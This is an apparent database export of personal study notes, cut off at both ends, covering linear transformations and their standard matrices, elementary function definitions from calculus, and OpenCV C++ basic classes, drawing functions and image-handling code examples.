\\\\parallel\\\\vec{v}\\\\parallel \\\\parallel\\\\vec{w}\\\\parallel$ text txt 2024-07-28 10:11:22.172894 -5995 1765 Suppose that $\\\\vec{v},\\\\vec{w} \\\\in \\\\mathbb{R}^n$ are vectors. Then\n$\\\\parallel\\\\vec{v}+\\\\vec{w}\\\\parallel \\\\le \\\\parallel\\\\vec{v}\\\\parallel + \\\\parallel\\\\vec{w}\\\\parallel$. text txt 2024-07-28 10:11:22.403436 -5996 1766 A linear transformation is a function $T: R^n → R^n$ that satisfies the following two properties: text txt 2024-07-28 10:11:22.849947 -5997 1766 $T(v+w) = T(v) + T(w)$ for all vectors $v,w \\\\in \\\\mathbb{R}^n$
\n$T(cv) = cT(v)$ for all vectors $v \\\\in \\\\mathbb{R}^n$ and all scalars $c \\\\in \\\\mathbb{R}$ text txt 2024-07-28 10:11:22.870733 -5998 1767 This transformation is **not** linear.\nOne way to see this is to notice that $2T(0,0) = 2(1,2) = (2,4)$\nBut $T(2(0,0)) = T(0,0) = (1,2)$\nSince these are not the same, $T$ is not linear. text txt 2024-07-28 10:11:23.105562 -5999 1768 This transformation is **not** linear.\nOne way to see this is to notice that $2T(1,1) = 2(0,1) = (0,2)$\nBut $T(2(1,1)) = T(2,2) = (0,4)$\nSince these are not the same, $T$ is not linear. text txt 2024-07-28 10:11:23.311147 -6000 1769 This transformation **is** linear.\nWe can check the two defining properties of linear transformations. text txt 2024-07-28 10:11:23.481776 -6001 1770 T(c₁v₁ + c₂v₂ + … + ckvk) = c₁T(v₁) + c₂T(v₂) + … + ckT(vk)\nfor all v₁,v₂,…,vk \\\\in \\\\mathbb{R}^n and all c₁,c₂,…,ck \\\\in \\\\mathbb{R} code txt 2024-07-28 10:11:23.812951 -6002 1770 So we have: text txt 2024-07-28 10:11:23.833092 -6003 1770 T(v) = T(v₁e₁+v₂e₂+…+vnen) = v₁T(e₁)+v₂T(e₂)+…+vnT(en) code txt 2024-07-28 10:11:23.854109 -6004 1771 If we know what $T$ does to the standard basis vectors, then we know everything about $T$. text txt 2024-07-28 10:11:24.064232 -6005 1771 Since $(2,3) = 2e₁+3e₂$, we know that:\n$$T(2,3) = T(2e₁+3e₂) = 2T(e₁)+3T(e₂) = 2(1,1) + 3(-1,1) = (-1,5)$$ text txt 2024-07-28 10:11:24.084696 -6006 1772 T(v₁,v₂) = T(v₁e₁+v₂e₂) = v₁T(e₁)+v₂T(e₂) = v₁(1,1)+v₂(-1,1) = (v₁-v₂,v₁+v₂) code txt 2024-07-28 10:11:24.307711 -6007 1773 A function $T: R^n → R^n$ is a linear transformation if and only if there exists a matrix $[T] \\\\in Mm,n$ such that $T(v) = [T]v$ for all $v \\\\in \\\\mathbb{R}^n$ and it is\n$[T] = [T(e₁)|T(e₂)|…|T(en)]$ text txt 2024-07-28 10:11:24.508105 -6008 1774 By computing $T(e₁)=(1,3)$ and $T(e₂)=(2,4)$ and placing these as columns into a matrix, in that order: text txt 2024-07-28 10:11:24.776953 -6009 1774 [T] = [(1,3) (2,4)] code txt 2024-07-28 10:11:24.797057 -6010 1775 We could explicitly compute $T(e₁), T(e₂)$, and $T(e₃)$ and place them as columns in a matrix, or we could simply place coefficients of $v₁, v₂$ and $v₃$ in the output of $T$, in order, in the rows of a matrix. text txt 2024-07-28 10:11:25.060541 -6011 1775 [T] = [(3,2) (-1,4) (1,-2)] code txt 2024-07-28 10:11:25.081003 -6012 1775 Notice that $T$ maps from $R^3$ to $R^2$, so $[T]$ is a $2x3$ matrix. text txt 2024-07-28 10:11:25.10142 -6013 1776 add, subtract and multiply linear transformations by scalars, just like matrices. text txt 2024-07-28 10:11:25.382679 -6014 1776 (S+T)(v) = S(v)+T(v)\n(cT)(v) = cT(v) code txt 2024-07-28 10:11:25.404208 -6015 1777 Zero: text txt 2024-07-28 10:11:25.636691 -6016 1777 Ov = 0 code txt 2024-07-28 10:11:25.657829 -6017 1778 The vector itself: text txt 2024-07-28 10:11:25.922339 -6018 1778 Iv = v code txt 2024-07-28 10:11:25.942475 -6019 1779 Diagonal matrix does not change the direction of the standard basis vectors, but just stretches them by certain amounts.\nThis linear transformation is defined as: text txt 2024-07-28 10:11:26.30033 -6020 1779 T(v₁,v₂,…,vn) = (c₁v₁, c₂v₂, …, cnvn) which there exist scalars c₁,c₂,…,cn \\\\in \\\\mathbb{R}^n code txt 2024-07-28 10:11:26.321092 -6021 1779 The standard matrix of this linear transformation is: text txt 2024-07-28 10:11:26.342085 -6022 1779 [T] = [c₁e₁|c₂e₂|…|cnen] = [(c₁,0,…,0) (0,c₂,…,0) … (0,…,cn)] code txt 2024-07-28 10:11:26.362379 -6023 1780 [Pu] = uuT text txt 2024-07-28 10:11:26.510489 -6024 1781 Since u is a unit vector, the standard matrix of Pu is simply:\n[Pu] = uuT = [(1,0)]\\\\[1 0] = [(1,0) (0,)]\n[Pu]v = [(1,0) (0,0)]\\\\[(v₁,v₂)] = [(v₁,0)]\nWe can visualize this project as just squashing everything down onto the x-axis, [Pu]e₁ = e₁ and [Pu]e₂ = 0 text txt 2024-07-28 10:11:26.715131 -6025 1782 Since w is not a unit vector, we have to first normalize it:\n∥w∥ = √1²+2²+3² = √14\nu = w/∥w∥ = (1,2,3)/√14\n[Pu] = uuT = 1/√14 [(1,2,3)]\\\\[1 2 3] = 1/14 [(1,2,3) (2,4,6) (3,6,9)]\nThis linear transformation squishes all of R^3 down onto the line in the direction of w.\nSo [Pu]w = w in this example. text txt 2024-07-28 10:11:26.963368 -6026 1783 [Fu] = 2uuT-I text txt 2024-07-28 10:11:27.143413 -6027 1784 [Fu] = 2uuT-I = 2[(0,1)]\\\\[0 1] - [(1,0) (0,1)] = [(-1,0) (0,1)] text txt 2024-07-28 10:11:27.301382 -6028 1785 [Fu] = 2uuT-I = 2[(1,1,1)]\\\\[1 1 1]/3 - [(1,0,0) (0,1,0) (0,0,1)] = ⅓[(-1,2,2) (2,-1,2) (2,2,-1)]\n[Fu]w = w text txt 2024-07-28 10:11:27.503644 -6029 1786 First compute [Fu]:\nu = (cos(π/3), sin(π/3)) = (1,√3)/2\n[Fu] = 2uuT - I = ½[(1 √3)]\\\\[1 √3] - [(1,0) (0,1)] = ½[(-1,√3) (√3,1)]\n[Fu]v = [Fu]\\\\[(-1,3)] text txt 2024-07-28 10:11:27.716278 -6030 1787 [Rθ] = Rθ(e₁)|Rθ(e₂)] = [(cos(θ),sin(θ)) (-sin(θ),cos(θ))] text txt 2024-07-28 10:11:27.897924 -6031 1788 [R^(π/4)] text txt 2024-07-28 10:11:28.046827 -6032 1789 [R^(-π/6)] text txt 2024-07-28 10:11:28.22929 -6033 1790 [R^π/4] text txt 2024-07-28 10:11:28.385102 -6034 1791 [R^-π/6] text txt 2024-07-28 10:11:28.566744 -6035 1792 [R^θ\\\\_yz] = [R^θ\\\\_yz(e₁)|R^θ\\\\_yz(e₂)|R^θ\\\\_yz(e₃)] = [(1,0,0) (0,cos(θ),sin(θ)) (0,-sin(θ),cos(θ))] text txt 2024-07-28 10:11:28.720292 -6036 1793 Since the goal is to compute R^2π/3\\\\_xy(v), we start by constructing standard matrix of R^2π/3\\\\_xy:\n[R^2π/3\\\\_xy] = [(cos(2π/3),sin(2π/3),0) (-sin(2π/3),cos(2π/3),0) (0,0,1)]\n[R^2π/3\\\\_xy]v = solve it text txt 2024-07-28 10:11:28.9372 -6037 1794 (S○T)(v) = S(T(v)) for all v \\\\in \\\\mathbb{R}^n\n[S○T] = [S]\\\\[T] text txt 2024-07-28 10:11:29.109454 -6038 1795 Compute the two standard matrices individually and then multiply them together:\nA unit vector on the line y = ¾x is u = (⅗,⅘), and the reflection Fu has standard matrix:\n[Fu] = 2[(⅗,⅘)]\\\\[⅗ ⅘] - [(1,0) (0,1)]\nThe diagonal stretch D has standard matrix:\n[D] = [(2,0) (0,3)]\nThe standard matrix of the composite linear transformation T = D○Fu is thus the product of these two individual standard matrices:\n[T] = [D]\\\\[Fu] text txt 2024-07-28 10:11:29.417645 -6039 1796 A function $f$ from a set $D$ to a set $Y$ is a rule that assigns a unique value $f(x)$ in $Y$ to each $x$ in $D$. text txt 2024-07-28 10:11:29.89101 -6040 1796 The value of one variable quantity, say $y$, depends on the value of another variable quantity, which we often call $x$.\nWe say that $y$ is a function of $x$ and write this symbolically as text txt 2024-07-28 10:11:29.912194 -6042 1796 The symbol $f$ represents the function, the letter $x$ is the **independent variable** representing the input value to $f$, and $y$ is the **dependent variable** or ouput value of $f$ at $x$. text txt 2024-07-28 10:11:29.954925 -6043 1800 If $f$ is a function with domain $D$, its graph consists of the points in the Cartesian plane whose coordinates are the input-output pairs for $f$. text txt 2024-07-28 10:11:30.730654 -6044 1800 In set notation the graph is text txt 2024-07-28 10:11:30.751266 -6045 1800 ${(x, f(x)) | x ∈ D}$ text txt 2024-07-28 10:11:30.772287 -6046 1804 A function $f$ can have only one value $f(x)$ for each $x$ in its domain, so no vertical line can interact the graph of a function more than once. text txt 2024-07-28 10:11:31.514657 -6047 1805 Sometimes a function is described in pieces by using different formulas on different parts of its domain. text txt 2024-07-28 10:11:31.921424 -6048 1805 \\\\begin{equation}\n f(x) = \\\\begin{cases}\n 1 & x ≤ 0 \\\\\\\\\n x+1 & x > 0\n \\\\end{cases}\n\\\\end{equation} code txt 2024-07-28 10:11:31.942332 -6049 1807 If the graph of a function rises as you move from left to right, we say that the function is increasing.\nIf the graph descends or falls as you move from left to right, the function is decreasing. text txt 2024-07-28 10:11:32.42343 -6050 1807 Let $f$ be a function defined on an interval $I$ and let $x_1$ and $x_2$ be two distinct points in $I$. text txt 2024-07-28 10:11:32.443576 -6051 1807 1. if $f(x_2) > f(x_1)$ whenever $x_1 < x_2$, then $f(x)$ is said to be **increasing** on $I$.\n2. if $f(x_2) < f(x_1)$ whenever $x_1 < x_2$, then $f(x)$ is said to be **decreasing** on $I$. text txt 2024-07-28 10:11:32.465511 -6052 1809 A function $y = f(x)$ is an even function of $x$ if $f(-x) = f(x)$, odd function of $x$ if $f(-x) = -f(x)$, for every $x$ in the function's domain. text txt 2024-07-28 10:11:32.867517 -6053 1809 The graph of an even function is symmetric about the $y$ axis, and the graph of an odd function is symmetric about the origin. text txt 2024-07-28 10:11:32.888779 -6054 1810 A function of the form $f(x) = mx+b$, where $m$ and $b$ are fixed constants, is called a linear function. text txt 2024-07-28 10:11:33.138985 -6055 1810 The function $f(x) = x$ where $m = 1$ and $b = 0$ is called the identity function. text txt 2024-07-28 10:11:33.159282 -6056 1811 Two variables $y$ and $x$ are **proportional** to one another if one is always a constant multiple of the other. text txt 2024-07-28 10:11:33.429907 -6057 1811 $y = kx$ for some nonzero constant $k$ text txt 2024-07-28 10:11:33.451219 -6058 1811 If the variable $y$ is proportional to the reciprocal $1/x$, then it is said that $y$ is **inversely proportional** to $x$. text txt 2024-07-28 10:11:33.473166 -6059 1814 A function $f(x) = x^n$, where $a$ is a constant, is called a **power function**. text txt 2024-07-28 10:11:34.039075 -6060 1815 A function $p$ is a **polynomial** if text txt 2024-07-28 10:11:34.42629 -6061 1815 \\\\begin{equation}\n p(x) = a_nx^n + a_(n-1)x^(n-1) + ... + a_1x + a_0\n\\\\end{equation} code txt 2024-07-28 10:11:34.447327 -6062 1815 where $n$ is a nonnegative integer and the numbers $a_0,a_1,a_2,...,a_n$ are real constants called the **coefficients** of the polynomial. text txt 2024-07-28 10:11:34.467931 -6063 1815 All polynomials have domain $(-\\\\inf,\\\\inf)$. text txt 2024-07-28 10:11:34.487661 -6064 1816 A **rational function** is a quotient or ratio $f(x) = p(x)/q(x)$, where $p$ and $q$ are polynomials. text txt 2024-07-28 10:11:34.864696 -6065 1816 \\\\begin{equation}\n y &= \\\\frac{2x^2-3}{7x+4}\n y &= \\\\frac{5x^2+8x-3}{3x^2+2}\n y &= \\\\frac{11x+2}{2x^3-1}\n\\\\end{equation} code txt 2024-07-28 10:11:34.884588 -6066 1817 Any function constructed from polynomials using algebraic operations (addition, subtraction, multiplication, division, and taking roots) lies within the class of **algebraic functions**. text txt 2024-07-28 10:11:35.123882 -6067 1817 All rational functions are algebraic, but also included are more complicated functions such as $y^3 - 9xy + x^3 = 0$. text txt 2024-07-28 10:11:35.145164 -6068 1818 Six basic trigonometric functions are $sin(x)$, $cos(x)$, $tan(x)$, $cot(x)$, $arctan(x)$, $arccot(x)$. text txt 2024-07-28 10:11:35.34913 -6069 1819 A function of the form $f(x) = a^x$, where $a > 0$ and $a \\\\ne 1$, is called an **exponential function** with base $a$. text txt 2024-07-28 10:11:35.553565 -6070 1820 These are the functions $f(x) = log_{a}x$, where the base $a \\\\ne 1$ is a positive constant. text txt 2024-07-28 10:11:35.795393 -6071 1820 They are the inverse functions of the exponential functions. text txt 2024-07-28 10:11:35.815848 -6072 1821 These are functions that are not algebraic. text txt 2024-07-28 10:11:36.112257 -6073 1821 They include the trigonometric, inverse trigonometric, exponential, and logarithmic functions, and many other functions as well. text txt 2024-07-28 10:11:36.132869 -6074 1821 The catenary is one example of a transcendental function.\nIts graph has the shape of a cable, like a telephone line or electric cable, strung from one support to another and hanging freely under its own weight. text txt 2024-07-28 10:11:36.154375 -6075 1822 - Template class `cv::Point<>` with aliases in form of `cv::Point{2,3}{i,f,d}`\n- Class `cv::Scalar<>` a four dimensional point derived from `cv::Vec`\n- Template class `cv::Vec<>` known as *fixed vector classes* with aliases in form of `cv::Vec{2,3,4,6}{b,w,s,i,f,d}`\n- Template class `cv::Matx<>` known as *fixed matrix classes* with aliases in form of `cv::Matx{1,2,3,4,6}{1,2,3,4,6}{f,d}`\n- Template class `cv::Size<>` with aliases in form of `cv::Size{2,3}{i,f,d}`\n- Class `cv::Rect<>`\n- Class `cv::RotatedRect<>` text txt 2024-07-28 10:11:36.693643 -6076 1823 The point class is a container of two or three values of one of the primitive\ntypes and are derived from their own template. text txt 2024-07-28 10:11:37.098435 -6077 1823 |Operation|Example|\n|---|---|\n|Default constructors|`cv::Point2i{}` `cv::Point3f{}`|\n|Copy constructor|`cv::Point3f{p}`|\n|Value constructor|`cv::Point2i{x0, x1}` `cv::Point3d{x0, x1, x2}`|\n|Cast to fixed vector|`(cv::Vec3d) cv::Point3d{}`|\n|Member access|`p.x` `p.y`|\n|Dot product|`float x = p1.dot(p2)`|\n|Double-precision dot product|`double x = p1.ddot(p2)`|\n|Cross product|`p1.cross(p2)`|\n|Query if Point is inside Rect|`p.inside(r)`| text txt 2024-07-28 10:11:37.120338 -6078 1824 A four-dimensional point class derived from `cv::Vec` inheriting\nall of the vector algebra operations, member access functions, and other\nproperties. text txt 2024-07-28 10:11:37.539703 -6079 1824 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Scalar{}`|\n|Copy constructor|`cv::Scalar{s}`|\n|Value constructor|`cv::Scalar{x0}` `cv::Scalar{x0, x1, x2, x3}`|\n|Element-wise multiplication|`s1.mul(s2)`|\n|Conjugation|`s.conj()`|\n|Real test|`s.isReal()`| text txt 2024-07-28 10:11:37.560311 -6080 1825 The size classes are similar to point classes, and can be cast to and from\nthem. The primary difference is that the point data members are named `x` and\n`y`, while the size data members are named `width` and `height`. text txt 2024-07-28 10:11:37.949415 -6081 1825 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Size{}` `cv::Size2i{}` `cv::Size2f{}`|\n|Copy constructor|`cv::Size{s}`|\n|Value constructor|`cv::Size2f{w, h}`|\n|Member access|`sz.width` `sz.height`|\n|Compute area|`sz.area()`| text txt 2024-07-28 10:11:37.970351 -6082 1826 Similar to `cv::Point` class there are `x` and `y` data members in `cv::Rect`\nclass. Additionally, there are `width` and `height` data members. text txt 2024-07-28 10:11:38.541266 -6083 1826 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Rect{}`|\n|Copy constructor|`cv::Rect{r}`|\n|Value constructor|`cv::Rect{x, y, w, h}`|\n|Construct from origin and size|`cv::Rect{p, sz}`|\n|Construct from two corners|`cv::Rect{tl, br}`|\n|Member access|`r.x` `r.y` `r.width` `r.height`|\n|Compute area|`r.area()`|\n|Extract upper-left corner|`r.tl()`|\n|Extract bottom-right corner|`r.br()`|\n|Determine if a point is inside|`r.contains(p)`|\n|Intersection of rectangles|`r1 &= r2`|\n|Minimum area rectangle|`r1 |= r2`|\n|Translate rectangle by an amount|`r += x`|\n|Enlarge rectangle by size|`r += s`|\n|Compare rectangles for exact quality|`r1 == r2`|\n|Compare rectangles for inequality|`r1 != r2`| text txt 2024-07-28 10:11:38.563562 -6084 1827 A non-template class holding a `cv::Point2f` member called `center`, a\n`cv::Size2f` called `size`, and one additional `float` called `angle`, with\nthe latter representing the rotation of the rectangle around `center`. text txt 2024-07-28 10:11:38.972341 -6085 1827 |Operation|Example|\n|---|---|\n|Default constructor|`cv::RotatedRect{}`|\n|Copy constructor|`cv::RotatedRect{rr}`|\n|Value constructor|`cv::RotatedRect{p, sz, theta}`|\n|Construct from two corners|`cv::RotatedRect{p1, p2}`|\n|Member access|`rr.center` `rr.size` `rr.angle`|\n|Return a list of corners|`rr.points{pts[4]}`| text txt 2024-07-28 10:11:38.993424 -6086 1828 A matrix whose dimensions are known at compile time. The fixed vector class\nderives from the fixed matrix class, and other classes either derive frmo the\nfixed vector class or they rely on casting to the fixed vector class for many\nimportant operations. text txt 2024-07-28 10:11:39.802266 -6087 1828 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Matx33f{}` `cv::Matx43d{}`|\n|Copy constructor|`cv::Matx22d{n22d}`|\n|Value constructor|`cv::Matx21f{x0, x1}` `cv::Matx22d{x0,x1,x2,x3}`|\n|Matrix of identical elements|`cv::Matx33f::all(x)`|\n|Matrix of zeros|`cv::Matx23d::zeros()`|\n|Matrix of ones|`cv::Matx16f::ones()`|\n|Unit matrix|`cv::Matx33f::eye()`|\n|Diagonal of matrix|`m31f = cv::Matx33f::diag()`|\n|Matrix of uniformly distributed entries|`m33f = cv::Matx33f::randu(min, max)`|\n|Matrix of normally distributed entries|`m33f = cv::Matx33f::nrandn(mean, variance)`|\n|Member access|`m(i,j)` `m(i)`|\n|Matrix algebra|`m1 = m0` `m0 * m1` `m0 + m1` `m0 - m1`|\n|Singelton algebra|`m * a` `a * m` `m / a`|\n|Comparison|`m1 == m2` `m1 != m2`|\n|Dot product|`m1.dot(m2)`|\n|Double-precision dot product|`m1.ddot(m2)`|\n|Reshape matrix|`m91f = m33f.reshape<9, 1>()`|\n|Extract submatrix|`m44f.get_minor<2, 2>(i, j)`|\n|Extract row|`m41f = m44f.row(i)`|\n|Extract column|`m14f = m44f.col(j)`|\n|Extract diagonal|`m41f = m44f.diag()`|\n|Matrix Transpose|`n44f = m44f.t()`|\n|Invert Matrix|`n44f = m44f.inv(method = cv::DECOMP_LU)`|\n|Solve linear system|`m31f = m33f.solve(rhs31f, method)`|\n|Per-element multiplication|`m1.mul(m2)`| text txt 2024-07-28 10:11:39.826032 -6088 1829 The fixed vector classes are derived from fixed matrix classes. text txt 2024-07-28 10:11:40.198241 -6089 1829 Alias templates are `cv::Vec{2,3,4,6}{b,s,w,i,f,d}` text txt 2024-07-28 10:11:40.217575 -6090 1829 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Vec2s{}` `cv::Vec6d{}`|\n|Copy constructor|`cv::Vec3f{v3f}`|\n|Value constructor|`cv::Vec2f{x0, x1}` `cv::Vec6d{x0,x1,x2,x3,x4,x5}`|\n|Member access|`v4f[i]` `v3w(j)`|\n|Cross-product|`v3f.cross(u3f)`| text txt 2024-07-28 10:11:40.239046 -6091 1830 The `cv::Complex` template class is not indentical to, but is compatible\nwith, and can be cast to and from, the `std::complex<>`. text txt 2024-07-28 10:11:40.659157 -6092 1830 In `std::complex<>` the real and imaginary parts are accessed through the\nmember functions `real()` and `imag()`, while in `cv::Complex<>` they are\ndirectly accessible as public members `re` and `im`. text txt 2024-07-28 10:11:40.67933 -6093 1830 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Complexf{}` `cv::Complexd{}`|\n|Copy constructor|`cv::Complexd{c}`|\n|Value constructor|`cv::Complexd{re)` `cv::Complexd{re, im}`|\n|Member access|`z1.re` `z2.im`|\n|Complex conjugate|`z2 = z1.conj()`| text txt 2024-07-28 10:11:40.70013 -6094 1831 Drawing functions work with images of any depth, but most of them affect only\nthe first three channels defaulting to only the first channel in the case of\nsingle channel images. They also support a color, thickness, a line type, and\nsubpixel alignment of objects. text txt 2024-07-28 10:11:41.082649 -6095 1832 The convention is to use `cv::Scalar` object to specify color. text txt 2024-07-28 10:11:41.436503 -6096 1832 Only the first three values are used most of the time eventhough it is\nconvinient to use the fourth value to represent an alpha channel, but drawing\nfunctions do not currently support alpha bending. text txt 2024-07-28 10:11:41.456547 -6097 1832 By convention, OpenCV uses BGR ordering for converting multichannel images to\ncolor renderings. In any case, the core functions of the library are always\nagnostic to any "meaning" you might assign to a channel. text txt 2024-07-28 10:11:41.47763 -6098 1833 The `lineType` parameter only acceptes values `4`, `8`, or `cv::LINE_AA`. text txt 2024-07-28 10:11:42.236418 -6099 1833 * 4-connected Bresenham algorithm: text txt 2024-07-28 10:11:42.256092 -6100 1833 ```\n|X|X| | | | | | | | |\n| |X|X|X| | | | | | |\n| | | |X|X|X|X| | | |\n| | | | | | |X|X|X| |\n| | | | | | | | |X|X|\n`````` text txt 2024-07-28 10:11:42.277861 -6101 1833 * 8-connected Bresenham algorithm: text txt 2024-07-28 10:11:42.29853 -6102 1833 ```\n|X|X| | | | | | | | |\n| | |X|X| | | | | | |\n| | | | |X|X| | | | |\n| | | | | | |X|X| | |\n| | | | | | | | |X|X|\n`````` text txt 2024-07-28 10:11:42.319779 -6103 1833 * Anti-Aliased line with Guassian Smoothing text txt 2024-07-28 10:11:42.341209 -6104 1833 ```\n|O|O| | | | | | | | |\n| |O|X|O| | | | | | |\n| | | |O|X|O| | | | |\n| | | | | |O|X|O| | |\n| | | | | | | |O|X|O|\n| | | | | | | | | |O|\n`````` text txt 2024-07-28 10:11:42.362869 -6105 1834 The `thickness` of the lines measured in pixles. For all closed shapes, it\ncan be set to `cv::FILLED` which is an alias for `-1`. text txt 2024-07-28 10:11:42.550676 -6106 1835 The signature of this function is as follows: text txt 2024-07-28 10:11:43.35882 -6107 1835 void cv::circle(\n cv::Mat& image, // image to be drawn on\n cv::Point center, // location of circle center\n int radius, // radius of circle\n const cv::Scalar& color, // color RGB form\n int thickness=1,// thickness of line\n int lineType=8, // connectedness, 4 or 8\n int shift=0 // bits of radius to treat as fraction\n) code txt 2024-07-28 10:11:43.380029 -6108 1835 A sample usage of this drawing function is: text txt 2024-07-28 10:11:43.400078 -6109 1835 #include text txt 2024-07-28 10:11:43.420899 -6110 1835 int main()\n{\n cv::Mat image = cv::imread("/tmp/image.jpg");\n cv::Point2i center{image.cols / 2, image.rows / 2};\n int radius{100};\n cv::Scalar color{};\n int thickness{4};\n int linetype{4};\n int shift{0}; text txt 2024-07-28 10:11:43.441207 -6111 1835 cv::circle(image, center, radius, color, thickness, linetype, shift);\n} code txt 2024-07-28 10:11:43.463046 -6112 1836 git clone https://github.com - https://github.com/opencv/opencv.git\ncmake -S opencv -B opencv-build -D CMAKE_BUILD_TYPE=Release -D CMAKE_PREFIX_PATH=/usr/local\ncmake --build opencv-build --release Release --target all -j $(nproc)\ncmake --install opencv-build -j $(nproc) code txt 2024-07-28 10:11:44.271593 -6113 1837 #include code txt 2024-07-28 10:11:44.51335 -6114 1838 cv::Mat image;\nstd::cout << image.rows << " x " << image.cols << '\\\\n';; code txt 2024-07-28 10:11:44.773739 -6115 1839 cv::Mat colored = cv::imread("sample.bmp", cv::IMREAD_COLOR);\ncv::Mat gray = cv::imread("sample.bmp", cv::IMREAD_GRAYSCALE); code txt 2024-07-28 10:11:45.009735 -6116 1840 #include \n#include text txt 2024-07-28 10:11:45.53283 -6117 1840 static constexpr auto window_name{"Original Image"}; text txt 2024-07-28 10:11:45.554479 -6118 1840 cv::Mat image = cv::imread("sample.bmp", cv::IMREAD_COLOR); text txt 2024-07-28 10:11:45.575161 -6119 1840 if (image.empty())\n{\n /* error handling */\n} text txt 2024-07-28 10:11:45.5946 -6120 1840 cv::namedWindow(window_name);\ncv::imshow(window_name, image);\ncv::waitKey(0); // wait indefinitely for key press\ncv::destroyWindow(window_name); code txt 2024-07-28 10:11:45.616475 -6121 1841 #include text txt 2024-07-28 10:11:45.900837 -6122 1841 cv::Mat image = cv::imread("untouched.jpg", cv::IMREAD_COLOR);\ncv::imwrite("filename.jpg", image); code txt 2024-07-28 10:11:45.922239 -6123 1842 #include \n#include text txt 2024-07-28 10:11:46.372498 -6124 1842 constexpr auto image_path{"sample.png"};\nconstexpr auto write_path{"flipped.png"}; text txt 2024-07-28 10:11:46.393637 -6125 1842 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::Mat flipped{};\n cv::flip(image, flipped, 1);\n cv::imwrite(write_path, flipped);\n} code txt 2024-07-28 10:11:46.415109 -6126 1843 #include text txt 2024-07-28 10:11:46.693159 -6127 1843 cv::Mat image = cv::imread("sample.png", cv::IMREAD_COLOR);\nstd::cout << image.channels() << '\\\\n'; code txt 2024-07-28 10:11:46.714101 -6128 1844 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:47.593439 -6129 1844 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:47.613877 -6130 1844 void on_mouse(int event, int x, int y, int, void*)\n{\n switch (event)\n {\n case cv::EVENT_LBUTTONDOWN:\n std::cerr << '(' << x << "," << y << ')' << std::endl;\n break;\n case cv::EVENT_LBUTTONUP:\n case cv::EVENT_RBUTTONDOWN:\n case cv::EVENT_RBUTTONUP:\n case cv::EVENT_MOUSEMOVE:\n default:\n break;\n };\n} text txt 2024-07-28 10:11:47.635723 -6131 1844 int main()\n{\n cv::Mat image = cv::imread(image_path);\n cv::namedWindow(window);\n cv::setMouseCallback(window, on_mouse, reinterpret_cast(&image));\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:47.65569 -6132 1845 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:48.311698 -6133 1845 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:48.332624 -6134 1845 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point center{670, 400};\n int radius{200};\n int thickness{3};\n cv::Scalar color{0, 0, 255, 0}; text txt 2024-07-28 10:11:48.353626 -6135 1845 cv::circle(image, center, radius, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:48.375518 -6136 1846 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:49.015252 -6137 1846 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:49.035238 -6138 1846 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point topleft{500, 200};\n cv::Point bottomright{800, 600};\n int thickness{2};\n cv::Scalar color{0, 0, 255, 0}; text txt 2024-07-28 10:11:49.054474 -6139 1846 cv::rectangle(image, topleft, bottomright, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:49.074671 -6140 1847 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:49.779424 -6141 1847 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"};\nstatic constexpr auto name{"Object"}; text txt 2024-07-28 10:11:49.799783 -6142 1847 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point topleft{500, 200};\n cv::Point bottomright{800, 600};\n int thickness{2};\n cv::Scalar color{0, 0, 255, 0};\n double scale{2.0}; text txt 2024-07-28 10:11:49.821935 -6143 1847 cv::rectangle(image, topleft, bottomright, color, thickness);\n cv::putText(image, name, position, cv::FONT_HERSHEY_PLAIN, scale, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:49.842696 -6144 1848 You need to specify the type of each matrix element. The letter `U` means it\nis unsigned. You can also declare signed numbers by using the letter `S`. For\na color image, you would specify three channels. You can also declare\nintegers (signed or unsigned) of size 16 and 32. You also have access to\n32-bit and 64-bit floating-point numbers text txt 2024-07-28 10:11:50.36288 -6145 1848 `CV_8U`: 1-byte pixel image with a single channel.\n`CV_8UC3`: 1-byte pixel image with 3 channels.\n`CV_16SC3`: 2-byte pixel image with 3 channels.\n`CV_32F`: 4-byte floating point pixel image. text txt 2024-07-28 10:11:50.383908 -6146 1848 #include text txt 2024-07-28 10:11:50.403893 -6147 1848 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n} code txt 2024-07-28 10:11:50.424642 -6148 1849 #include text txt 2024-07-28 10:11:50.766588 -6149 1849 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n image.create(cv::Size{800, 800}, CV_8UC3, cv::Scalar{0, 0, 255}); // colored 3 channel\n} code txt 2024-07-28 10:11:50.78808 -6150 1850 #include text txt 2024-07-28 10:11:51.148563 -6151 1850 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n cv::Mat copied{image.clone()};\n image.copyTo(copied);\n} code txt 2024-07-28 10:11:51.170448 -6152 1851 #include \n#include text txt 2024-07-28 10:11:51.510938 -6153 1851 cv::Mat colored{cv::Size{500, 500}, CV_8UC3, 